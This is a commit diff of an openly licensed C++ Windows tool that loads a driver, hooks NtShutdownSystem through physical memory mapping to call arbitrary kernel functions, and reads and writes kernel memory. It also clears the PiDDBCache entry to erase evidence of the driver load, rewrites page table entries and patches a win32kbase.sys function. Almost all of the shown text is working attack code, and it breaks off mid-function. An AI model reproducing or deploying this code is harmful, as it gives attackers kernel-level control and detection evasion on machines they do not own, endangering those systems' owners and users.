xerox
4 years ago
commit
f36da015ce
@ -0,0 +1,21 @@
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MIT License
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Copyright (c) 2020 xerox
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Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
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SOFTWARE.
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@ -0,0 +1,293 @@
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#include "kernel_ctx.h"
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namespace nasa
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{
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kernel_ctx::kernel_ctx()
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{
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if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
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return;
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nt_rva = reinterpret_cast<std::uint32_t>(
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util::get_module_export(
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"ntoskrnl.exe",
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syscall_hook.first.data(),
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true
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));
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nt_page_offset = nt_rva % PAGE_SIZE;
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ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES));
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DBG_PRINT("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
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DBG_PRINT("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
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DBG_PRINT("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
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std::vector<std::thread> search_threads;
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//--- for each physical memory range, make a thread to search it
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for (auto ranges : util::pmem_ranges)
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search_threads.emplace_back(std::thread(
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&kernel_ctx::map_syscall,
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this,
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ranges.first,
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ranges.second
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));
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for (std::thread& search_thread : search_threads)
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search_thread.join();
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DBG_PRINT("[+] psyscall_func: 0x%p\n", psyscall_func.load());
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}
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void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
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{
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//if the physical memory range is less then or equal to 2mb
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if (begin + end <= 0x1000 * 512)
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{
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auto page_va = nasa::map_phys(begin + nt_page_offset, end);
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if (page_va)
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{
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// scan every page of the physical memory range
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for (auto page = page_va; page < page_va + end; page += 0x1000)
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if (!psyscall_func.load()) // keep scanning until its found
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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psyscall_func.store((void*)page);
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return;
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}
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nasa::unmap_phys(page_va, end);
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}
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}
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else // else the range is bigger then 2mb
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{
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auto remainder = (begin + end) % (0x1000 * 512);
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// loop over 2m chunks
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for (auto range = begin; range < begin + end; range += 0x1000 * 512)
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{
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auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512);
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if (page_va)
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{
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// loop every page of 2mbs (512)
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for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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psyscall_func.store((void*)page);
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return;
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}
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}
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nasa::unmap_phys(page_va, 0x1000 * 512);
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}
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}
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// map the remainder and check each page of it
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auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder);
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if (page_va)
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{
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for (auto page = page_va; page < page_va + remainder; page += 0x1000)
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{
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if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
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{
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psyscall_func.store((void*)page);
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return;
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}
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}
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nasa::unmap_phys(page_va, remainder);
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}
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}
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}
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PEPROCESS kernel_ctx::get_peprocess(DWORD pid)
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{
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if (!pid)
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return NULL;
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PEPROCESS proc;
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static auto get_peprocess_from_pid =
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util::get_module_export(
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"ntoskrnl.exe",
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"PsLookupProcessByProcessId"
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);
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const auto status = syscall<PsLookupProcessByProcessId>(
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get_peprocess_from_pid,
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(HANDLE)pid,
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&proc
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);
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return proc;
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}
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void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
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{
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if (!buffer || !address || !size)
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return;
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size_t amount_copied;
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static auto mm_copy_memory =
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util::get_module_export(
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"ntoskrnl.exe",
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"memcpy"
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);
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if (mm_copy_memory)
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syscall<decltype(&memcpy)>(
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mm_copy_memory,
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buffer,
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address,
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size
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);
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}
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void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
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{
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if (!buffer || !address || !size)
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return;
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size_t amount_copied;
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static auto mm_copy_memory =
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util::get_module_export(
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"ntoskrnl.exe",
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"memcpy"
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);
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if (mm_copy_memory)
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syscall<decltype(&memcpy)>(
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mm_copy_memory,
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address,
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buffer,
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size
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);
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}
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void* kernel_ctx::get_physical(void* virt_addr)
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{
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if (!virt_addr)
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return NULL;
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static auto mm_get_physical =
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util::get_module_export(
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"ntoskrnl.exe",
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"MmGetPhysicalAddress"
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);
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return syscall<MmGetPhysicalAddress>(
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mm_get_physical,
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virt_addr
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);
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}
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void* kernel_ctx::get_virtual(void* addr)
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{
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if (!addr)
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return NULL;
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static auto mm_get_virtual =
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util::get_module_export(
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"ntoskrnl.exe",
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"MmGetVirtualForPhysical"
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);
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PHYSICAL_ADDRESS phys_addr;
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memcpy(&phys_addr, &addr, sizeof(addr));
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return syscall<MmGetVirtualForPhysical>(
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mm_get_virtual,
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phys_addr
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);
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}
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bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
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{
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static const auto piddb_lock =
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util::memory::get_piddb_lock();
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static const auto piddb_table =
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util::memory::get_piddb_table();
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if (!piddb_lock || !piddb_table)
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return false;
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static const auto ex_acquire_resource =
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util::get_module_export(
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"ntoskrnl.exe",
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"ExAcquireResourceExclusiveLite"
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);
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static const auto lookup_element_table =
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util::get_module_export(
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"ntoskrnl.exe",
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"RtlLookupElementGenericTableAvl"
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);
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static const auto release_resource =
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util::get_module_export(
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"ntoskrnl.exe",
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"ExReleaseResourceLite"
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);
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static const auto delete_table_entry =
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util::get_module_export(
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"ntoskrnl.exe",
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"RtlDeleteElementGenericTableAvl"
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);
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if (!ex_acquire_resource || !lookup_element_table || !release_resource)
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return false;
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PiDDBCacheEntry cache_entry;
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const auto drv_name = std::wstring(file_name.begin(), file_name.end());
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cache_entry.time_stamp = timestamp;
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RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
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//
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// ExAcquireResourceExclusiveLite
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//
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if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
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return false;
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//
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// RtlLookupElementGenericTableAvl
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//
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PIDCacheobj* found_entry_ptr =
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syscall<RtlLookupElementGenericTableAvl>(
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lookup_element_table,
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piddb_table,
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reinterpret_cast<void*>(&cache_entry)
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);
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if (found_entry_ptr)
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{
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//
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// unlink entry.
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//
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PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
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LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
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LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
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PrevEntry.Flink = found_entry.list.Flink;
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NextEntry.Blink = found_entry.list.Blink;
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wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
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wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
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//
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// delete entry.
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//
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syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
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//
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// ensure the entry is 0
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//
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auto result = syscall<RtlLookupElementGenericTableAvl>(
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lookup_element_table,
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piddb_table,
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reinterpret_cast<void*>(&cache_entry)
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);
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syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
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return !result;
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}
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syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
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return false;
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}
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}
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@ -0,0 +1,112 @@
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#pragma once
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#include "../util/util.hpp"
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#include "../physmeme/physmeme.hpp"
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#include "../util/hook.hpp"
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namespace nasa
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{
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//
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// offset of function into a physical page
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// used for comparing bytes when searching
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//
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inline std::uint16_t nt_page_offset{};
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//
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// rva of nt function we are going to hook
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//
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inline std::uint32_t nt_rva{};
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//
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// base address of ntoskrnl (inside of this process)
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//
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inline const std::uint8_t* ntoskrnl_buffer{};
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//
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// mapping of a syscalls physical memory (for installing hooks)
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//
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inline std::atomic<void*> psyscall_func{};
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//
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// you can edit this how you choose, im hooking NtShutdownSystem.
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//
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inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
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class kernel_ctx
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{
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friend class mem_ctx;
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public:
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kernel_ctx();
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//
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// read kernel memory into buffer
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//
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void rkm(void* buffer, void* address, std::size_t size);
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//
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// write kernel memory from buffer
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//
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void wkm(void* buffer, void* address, std::size_t size);
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template <class T>
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T rkm(void* addr)
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{
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if (!addr)
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return {};
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T buffer;
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rkm((void*)&buffer, addr, sizeof(T));
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return buffer;
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}
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template <class T>
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void wkm(void* addr, const T& data)
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{
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if (!addr)
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return;
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wkm((void*)&data, addr, sizeof(T));
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}
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//
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// gets physical address from virtual
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//
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void* get_physical(void* virt_addr);
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//
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// uses the pfn database to get the virtual address
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//
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void* get_virtual(void* virt_addr);
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//
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// use this to call any function in the kernel
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//
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template <class T, class ... Ts>
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std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args)
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{
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static const auto proc =
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GetProcAddress(
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GetModuleHandleA(syscall_hook.second.data()),
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syscall_hook.first.data()
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);
|
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|
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if (!proc || !psyscall_func || !addr)
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return {};
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hook::make_hook(psyscall_func, addr);
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auto result = reinterpret_cast<T>(proc)(args ...);
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hook::remove(psyscall_func);
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return result;
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}
|
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|
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bool clear_piddb_cache(const std::string& drv_name, const std::uint32_t epoch_time);
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private:
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|
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//
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// find and map the physical page of a syscall into this process
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//
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void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
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|
||||
//
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||||
// get a pointer to an eprocess given process id.
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//
|
||||
PEPROCESS get_peprocess(DWORD pid);
|
||||
};
|
||||
}
|
||||
@ -0,0 +1,301 @@
|
||||
/*
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 xerox
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <filesystem>
|
||||
#include <iostream>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
|
||||
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
|
||||
|
||||
namespace driver
|
||||
{
|
||||
namespace util
|
||||
{
|
||||
inline bool delete_service_entry(const std::string& service_name)
|
||||
{
|
||||
HKEY reg_handle;
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
|
||||
{
|
||||
HKEY reg_handle;
|
||||
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
reg_key += service_name;
|
||||
|
||||
auto result = RegCreateKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
//
|
||||
// set type to 1 (kernel)
|
||||
//
|
||||
constexpr std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
//
|
||||
// set error control to 3
|
||||
//
|
||||
constexpr std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
//
|
||||
// set start to 3
|
||||
//
|
||||
constexpr std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
//
|
||||
// set image path to the driver on disk
|
||||
//
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*) drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
// this function was coded by paracord: https://githacks.org/snippets/4#L94
|
||||
inline bool enable_privilege(const std::wstring& privilege_name)
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
inline std::string get_service_image_path(const std::string& service_name)
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
inline bool load(const std::string& drv_path, const std::string& service_name)
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
static const auto lp_nt_load_drv =
|
||||
::GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"),
|
||||
"NtLoadDriver"
|
||||
);
|
||||
|
||||
if (lp_nt_load_drv)
|
||||
{
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
|
||||
const auto h_file = CreateFileA(
|
||||
file_path.data(),
|
||||
GENERIC_ALL,
|
||||
NULL, NULL,
|
||||
CREATE_ALWAYS,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
DWORD bytes_written;
|
||||
WriteFile(
|
||||
h_file,
|
||||
drv_buffer.data(),
|
||||
drv_buffer.size(),
|
||||
&bytes_written,
|
||||
NULL
|
||||
);
|
||||
|
||||
CloseHandle(h_file);
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
inline bool unload(const std::string& service_name)
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
static const auto lp_nt_unload_drv =
|
||||
::GetProcAddress(
|
||||
GetModuleHandleA("ntdll.dll"),
|
||||
"NtUnloadDriver"
|
||||
);
|
||||
|
||||
if (lp_nt_unload_drv)
|
||||
{
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
|
||||
const auto image_path = util::get_service_image_path(service_name);
|
||||
const bool delete_reg = util::delete_service_entry(service_name);
|
||||
|
||||
try
|
||||
{
|
||||
const bool delete_drv = std::filesystem::remove(image_path);
|
||||
} catch(std::exception& e)
|
||||
{
|
||||
std::cerr << "[!] failed to delete image: " << e.what() << std::endl;
|
||||
}
|
||||
|
||||
return unload_drv && delete_reg;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,38 @@
|
||||
#include <iostream>
|
||||
#include "kernel_ctx/kernel_ctx.h"
|
||||
#include "mem_ctx/mem_ctx.hpp"
|
||||
#include "patch_ctx/patch_ctx.hpp"
|
||||
|
||||
int __cdecl main(int argc, char** argv)
|
||||
{
|
||||
if (!nasa::load_drv())
|
||||
return NULL;
|
||||
|
||||
nasa::kernel_ctx kernel;
|
||||
|
||||
if (!nasa::unload_drv())
|
||||
return NULL;
|
||||
|
||||
if (!kernel.clear_piddb_cache(nasa::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
|
||||
{
|
||||
std::cerr << "[+] failed to clear piddb cache" << std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
nasa::mem_ctx my_proc(kernel, GetCurrentProcessId());
|
||||
nasa::patch_ctx kernel_patch(&my_proc);
|
||||
|
||||
const auto function_addr =
|
||||
reinterpret_cast<void*>(
|
||||
util::get_module_export("win32kbase.sys", "NtDCompositionRetireFrame"));
|
||||
|
||||
const auto new_patch_page = kernel_patch.patch(function_addr);
|
||||
std::cout << "[+] new_patch_page: " << new_patch_page << std::endl;
|
||||
*(short*)new_patch_page = 0xDEAD;
|
||||
std::cout << "[+] kernel MZ (before patch): " << std::hex << kernel.rkm<short>(function_addr) << std::endl;
|
||||
kernel_patch.enable();
|
||||
std::cout << "[+] kernel MZ (patch enabled): " << std::hex << kernel.rkm<short>(function_addr) << std::endl;
|
||||
kernel_patch.disable();
|
||||
std::cout << "[+] kernel MZ (patch disabled): " << std::hex << kernel.rkm<short>(function_addr) << std::endl;
|
||||
std::cin.get();
|
||||
}
|
||||
@ -0,0 +1,461 @@
|
||||
#include "mem_ctx.hpp"
|
||||
#include <cassert>
|
||||
|
||||
namespace nasa
|
||||
{
|
||||
mem_ctx::mem_ctx(kernel_ctx& krnl_ctx, DWORD pid)
|
||||
:
|
||||
k_ctx(&krnl_ctx),
|
||||
dirbase(get_dirbase(krnl_ctx, pid)),
|
||||
pid(pid)
|
||||
{
|
||||
genesis_page.first = VirtualAlloc(
|
||||
NULL,
|
||||
PAGE_SIZE,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
|
||||
//
|
||||
// page in the page, do not remove this makes the entries.
|
||||
//
|
||||
*(std::uintptr_t*)genesis_page.first = 0xC0FFEE;
|
||||
|
||||
//
|
||||
// flush tlb since we just accessed the page
|
||||
//
|
||||
page_accessed();
|
||||
|
||||
//
|
||||
// get the ppte and pte of the page we allocated
|
||||
//
|
||||
auto [page_ppte, page_pte] = get_pte(genesis_page.first, true);
|
||||
genesis_page.second = page_pte;
|
||||
|
||||
//
|
||||
// allocate a page that will get the mapping of the first pages PT
|
||||
//
|
||||
genesis_cursor.first = reinterpret_cast<::ppte>(
|
||||
VirtualAlloc(
|
||||
NULL,
|
||||
0x1000,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
|
||||
//
|
||||
// page it in
|
||||
//
|
||||
*(std::uintptr_t*)genesis_cursor.first = 0xC0FFEE;
|
||||
|
||||
//
|
||||
// flush tlb since we just accessed the page
|
||||
//
|
||||
page_accessed();
|
||||
|
||||
//
|
||||
// get ppte and pte of the cursor page.
|
||||
//
|
||||
auto [cursor_ppte, cursor_pte] = get_pte(genesis_cursor.first, true);
|
||||
genesis_cursor.second = cursor_pte;
|
||||
|
||||
//
|
||||
// change the page to the PT of the first page we allocated.
|
||||
//
|
||||
cursor_pte.pfn = reinterpret_cast<std::uint64_t>(page_ppte) >> 12;
|
||||
set_pte(genesis_cursor.first, cursor_pte, true);
|
||||
|
||||
//
|
||||
// change the offset of genesis cursor page to genesis pages pt_index since the page is now a PT
|
||||
// WARNING: pointer arithmetic, do not add pt_index * 8
|
||||
//
|
||||
genesis_cursor.first += +virt_addr_t{ genesis_page.first }.pt_index;
|
||||
|
||||
//
|
||||
// since the page has been accessed we need to reset this bit in the PTE.
|
||||
//
|
||||
page_accessed();
|
||||
}
|
||||
|
||||
mem_ctx::~mem_ctx()
|
||||
{
|
||||
set_pte(genesis_page.first, genesis_page.second, true);
|
||||
set_pte(genesis_cursor.first, genesis_cursor.second, true);
|
||||
}
|
||||
|
||||
void* mem_ctx::set_page(void* addr)
|
||||
{
|
||||
page_offset = virt_addr_t{ addr }.offset;
|
||||
genesis_cursor.first->pfn = reinterpret_cast<uint64_t>(addr) >> 12;
|
||||
page_accessed();
|
||||
return get_page();
|
||||
}
|
||||
|
||||
void* mem_ctx::get_page() const
|
||||
{
|
||||
return reinterpret_cast<void*>((reinterpret_cast<std::uint64_t>(genesis_page.first)) + page_offset);
|
||||
}
|
||||
|
||||
void mem_ctx::page_accessed() const
|
||||
{
|
||||
Sleep(5);
|
||||
}
|
||||
|
||||
void* mem_ctx::get_dirbase(kernel_ctx& k_ctx, DWORD pid)
|
||||
{
|
||||
if (!pid)
|
||||
return NULL;
|
||||
|
||||
const auto peproc =
|
||||
reinterpret_cast<std::uint64_t>(k_ctx.get_peprocess(pid));
|
||||
|
||||
if (!peproc)
|
||||
return NULL;
|
||||
|
||||
pte dirbase = k_ctx.rkm<pte>(
|
||||
reinterpret_cast<void*>(peproc + 0x28)
|
||||
);
|
||||
|
||||
return reinterpret_cast<void*>(dirbase.pfn << 12);
|
||||
}
|
||||
|
||||
bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
|
||||
{
|
||||
if (!addr || !dirbase)
|
||||
return false;
|
||||
|
||||
virt_addr_t virt_addr{ addr };
|
||||
entries.pml4.first = reinterpret_cast<ppml4e>(dirbase) + virt_addr.pml4_index;
|
||||
entries.pml4.second = k_ctx->rkm<pml4e>(
|
||||
k_ctx->get_virtual(entries.pml4.first));
|
||||
|
||||
if (!entries.pml4.second.value)
|
||||
return false;
|
||||
|
||||
entries.pdpt.first = reinterpret_cast<ppdpte>(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index;
|
||||
entries.pdpt.second = k_ctx->rkm<pdpte>(
|
||||
k_ctx->get_virtual(entries.pdpt.first));
|
||||
|
||||
if (!entries.pdpt.second.value)
|
||||
return false;
|
||||
|
||||
entries.pd.first = reinterpret_cast<ppde>(entries.pdpt.second.pfn << 12) + virt_addr.pd_index;
|
||||
entries.pd.second = k_ctx->rkm<pde>(
|
||||
k_ctx->get_virtual(entries.pd.first));
|
||||
|
||||
// if its a 2mb page
|
||||
if (entries.pd.second.page_size)
|
||||
{
|
||||
memcpy(
|
||||
&entries.pt.second,
|
||||
&entries.pd.second,
|
||||
sizeof(pte)
|
||||
);
|
||||
|
||||
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.value);
|
||||
return true;
|
||||
}
|
||||
|
||||
entries.pt.first = reinterpret_cast<ppte>(entries.pd.second.pfn << 12) + virt_addr.pt_index;
|
||||
entries.pt.second = k_ctx->rkm<pte>(
|
||||
k_ctx->get_virtual(entries.pt.first));
|
||||
|
||||
if (!entries.pt.second.value)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::pair<ppte, pte> mem_ctx::get_pte(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
||||
{
|
||||
::pte pte;
|
||||
memcpy(&pte, &entries.pt.second, sizeof(pte));
|
||||
return { entries.pt.first, pte };
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return;
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace)
|
||||
if (hyperspace_entries(entries, addr))
|
||||
k_ctx->wkm(
|
||||
k_ctx->get_virtual(entries.pt.first),
|
||||
pte
|
||||
);
|
||||
else
|
||||
if (virt_to_phys(entries, addr))
|
||||
write_phys(entries.pt.first, pte);
|
||||
}
|
||||
|
||||
std::pair<ppde, pde> mem_ctx::get_pde(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
||||
{
|
||||
::pde pde;
|
||||
memcpy(
|
||||
&pde,
|
||||
&entries.pd.second,
|
||||
sizeof(pde)
|
||||
);
|
||||
return { entries.pd.first, pde };
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return;
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace)
|
||||
if (hyperspace_entries(entries, addr))
|
||||
k_ctx->wkm(
|
||||
k_ctx->get_virtual(entries.pd.first),
|
||||
pde
|
||||
);
|
||||
else
|
||||
if (virt_to_phys(entries, addr))
|
||||
write_phys(entries.pd.first, pde);
|
||||
}
|
||||
|
||||
std::pair<ppdpte, pdpte> mem_ctx::get_pdpte(void* addr, bool use_hyperspace)
|
||||
{
|
||||
if (!dirbase || !addr)
|
||||
return {};
|
||||
|
||||
pt_entries entries;
|
||||
if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr))
|
||||
{
|
||||
::pdpte pdpte;
|
||||
memcpy(
